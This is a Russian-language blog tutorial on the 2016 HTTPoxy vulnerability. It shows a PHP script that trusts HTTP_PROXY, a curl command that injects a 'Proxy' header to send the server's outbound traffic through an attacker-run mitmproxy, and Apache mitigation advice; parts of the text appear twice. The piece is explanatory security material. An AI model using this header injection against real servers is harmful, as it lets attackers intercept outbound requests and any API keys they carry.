18 июля 2016 года была опубликована информация о так называемой уязвимости HTTPoxy, которая позволяет атакующему с помощью подмены заголовков HTTP запроса при существовании определенных условий перенаправить запрос web-сервера через свой Proxy-сервер. Подробнее информация об этой уязвимости описана тут - Уязвимость HTTPoxy позволяет перенаправлять http-запросы веб-приложений и в первоисточнике на https://httpoxy.org/ . Давайте попробуем рассмотреть более подробно, что из себя представляет данная уязвимость и попытаемся использовать ее в тестовом окружении.
Предположим что web-приложение выполняющееся на стороне сервера так или иначе использует переменные окружения для настройки исходящих соединений. Например у нас есть такой скрипт (примерно аналогичная уязвимость была обнаружена и исправлена в artax, об уязвимости которого говорилось в бюллетене):
Запустив скрипт, набрав в браузере http://server.url/test.php мы получим в качестве результата заглавную страницу decker.su. Теперь давайте попробуем представить себя на стороне атакующего. Поднимем на каком-нибудь хосте в интернете Mitmproxy (чуть подробнее про него можно почитать тут - Анализ HTTP-трафика с Mitmproxy) и попробуем вставить в заголовки GET-запроса к нашему скрипту с помощью Burp Suite, Tamper Data или curl заголовок Proxy. Я воспользуюсь последним способом и просто запущу curl:
curl -H "Proxy: proxy:port" http://server.url/test.php
Здесь proxy:port - адрес и порт нашего mitmproxy, http://server.url/test.php - URL уязвимого web-приложения. И тут же в логах mitmproxy мы увидим следующую строку:
Таким образом, всего-лишь добавив одну строку заголовка Proxy: proxy:port в GET-запрос, нам удалось перенаправить исходящий трафик web-сервера через свой Proxy.
Что же получилось? Сервер получив заголовок Proxy в запросе преобразовал его в переменную окружения $_SERVER[«HTTP_PROXY»], которая и была успешно считана скриптом с помощью getenv('HTTP_PROXY'). Как отметил Evengard на Хабре:
"А, всё, почитал источник и разобрался в чём суть уязвимости. Дело не в том, что именно Proxy превращается в HTTP_PROXY, а вообще любые заголовки превращаются в переменные окружения с префиксом «HTTP_»."
В этом несложно убедиться подставив в заголовок запроса еще несколько параметров, ну например: curl -H "Proxy: proxy:port" -H "Blogger: Decker" -H "Year: 2016" http://server.url/test.php, а потом считав содержимое переменной $_SERVER в скрипте:
Описанная уязвимость затрагивает только те web-приложения, которые явно или неявно используют переменные окружения в своей работе. Т.к. любой пользователь интернет сформировав заголовок Proxy в HTTP запросе может изменить переменную окружения HTTP_PROXY на сервере, естественно, что доверять такой переменной нельзя, т.к. пользователь может подставить в нее что угодно и, как следствие, получить контроль над исходящим трафиком web-приложения.
Давайте проверим, что произойдет если PHP на нашем web-сервере будет настроен как модуль Apache (php5_module, т.е. вариант PHP_SAPI = "apache"), а сервер будет осуществлять исходящие запросы с помощью простейшей file_get_contents. Т.е. скрипт на сервере будет представлять нечто вроде:
В любом случае лучше защитить ваш web-сервер согласно рекомендациям приведенным здесь и вырезать HTTP заголовок Proxy еще при поступлении запроса. Для Apache, например, это можно сделать с помощью mod_headers и директивы RequestHeader unset Proxy.
Полезные ссылки
Предположим что web-приложение выполняющееся на стороне сервера так или иначе использует переменные окружения для настройки исходящих соединений. Например у нас есть такой скрипт (примерно аналогичная уязвимость была обнаружена и исправлена в artax, об уязвимости которого говорилось в бюллетене):
<?php
function autoDetectProxySettings() {
if (($httpProxy = getenv('http_proxy')) || ($httpProxy = getenv('HTTP_PROXY'))) {
return $httpProxy;
}
}
$httpProxy = autoDetectProxySettings();
$ch = curl_init("http://www.decker.su");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if (isset($httpProxy)) { curl_setopt($ch, CURLOPT_PROXY, $httpProxy); }
$result = curl_exec($ch);
echo $result;
?>
На первый взгляд скрипт не содержит уязвимостей, он получает "дефолтные" настройки http_proxy из переменных окружения, осуществляет запрос на URL www.decker.su (здесь, представьте, что этот скрипт к примеру, мог обращаться к какому-либо Web API и передавать в запросе секретны ключи и т.п. информацию) и выводит полученный ответ на экран.Запустив скрипт, набрав в браузере http://server.url/test.php мы получим в качестве результата заглавную страницу decker.su. Теперь давайте попробуем представить себя на стороне атакующего. Поднимем на каком-нибудь хосте в интернете Mitmproxy (чуть подробнее про него можно почитать тут - Анализ HTTP-трафика с Mitmproxy) и попробуем вставить в заголовки GET-запроса к нашему скрипту с помощью Burp Suite, Tamper Data или curl заголовок Proxy. Я воспользуюсь последним способом и просто запущу curl:
curl -H "Proxy: proxy:port" http://server.url/test.php
Здесь proxy:port - адрес и порт нашего mitmproxy, http://server.url/test.php - URL уязвимого web-приложения. И тут же в логах mitmproxy мы увидим следующую строку:
Таким образом, всего-лишь добавив одну строку заголовка Proxy: proxy:port в GET-запрос, нам удалось перенаправить исходящий трафик web-сервера через свой Proxy.
Что же получилось? Сервер получив заголовок Proxy в запросе преобразовал его в переменную окружения $_SERVER[«HTTP_PROXY»], которая и была успешно считана скриптом с помощью getenv('HTTP_PROXY'). Как отметил Evengard на Хабре:
"А, всё, почитал источник и разобрался в чём суть уязвимости. Дело не в том, что именно Proxy превращается в HTTP_PROXY, а вообще любые заголовки превращаются в переменные окружения с префиксом «HTTP_»."
В этом несложно убедиться подставив в заголовок запроса еще несколько параметров, ну например: curl -H "Proxy: proxy:port" -H "Blogger: Decker" -H "Year: 2016" http://server.url/test.php, а потом считав содержимое переменной $_SERVER в скрипте:
'HTTP_ACCEPT' => '*/*',
'HTTP_HOST' => 'server.url',
'HTTP_USER_AGENT' => 'curl/7.37.1',
'HTTP_PROXY' => 'proxy:port',
'HTTP_BLOGGER' => 'Decker',
'HTTP_YEAR' => '2016',
Давайте проверим, что произойдет если PHP на нашем web-сервере будет настроен как модуль Apache (php5_module, т.е. вариант PHP_SAPI = "apache"), а сервер будет осуществлять исходящие запросы с помощью простейшей file_get_contents. Т.е. скрипт на сервере будет представлять нечто вроде:
echo file_get_contents("http://decker.su");
Как вы думаете? А ничего не произойдет. Т.к. file_get_contents при текущих настройках сервера никак не зависит от переменных окружения. Т.е. несмотря на то что HTTP_PROXY при исполнении скрипта у нас все равно установилась в proxy:port, который подставил атакующий - запрос был отправлен напрямую. Таким образом уязвим ваш веб-сервер перед данной атакой или нет целиком и полностью зависит от используемого HTTP client'а, т.е. использует ли веб-приложение переменные окружения для определения параметров proxy или нет. В случае со скриптом #1, как мы убедились - использует, в случае со скриптом #2 - не использует.В любом случае лучше защитить ваш web-сервер согласно рекомендациям приведенным здесь и вырезать HTTP заголовок Proxy еще при поступлении запроса. Для Apache, например, это можно сделать с помощью mod_headers и директивы RequestHeader unset Proxy.
Полезные ссылки
- Уязвимость HTTPoxy позволяет перенаправлять http-запросы веб-приложений
- Advisory: Apache Software Foundation Projects and "httpoxy" CERT VU#797896
- IIS CGI HTTP_PROXY header requests may be redirected
- httpoxy - A CGI application vulnerability for PHP, Go, Python and others
- Новая "именная" уязвимость httpoxy базируется на баге 15-летней давности
- What is httpoxy? An explanation for non-technical audiences
- Уязвимость, позволяющая совершить MITM-атаку через манипуляцию с HTTP-заголовком Proxy
- mitmproxy. Документация.
- Mitigating the HTTPoxy Vulnerability with NGINX
comment 0 التعليقات:
more_vertsentiment_satisfied Emoticon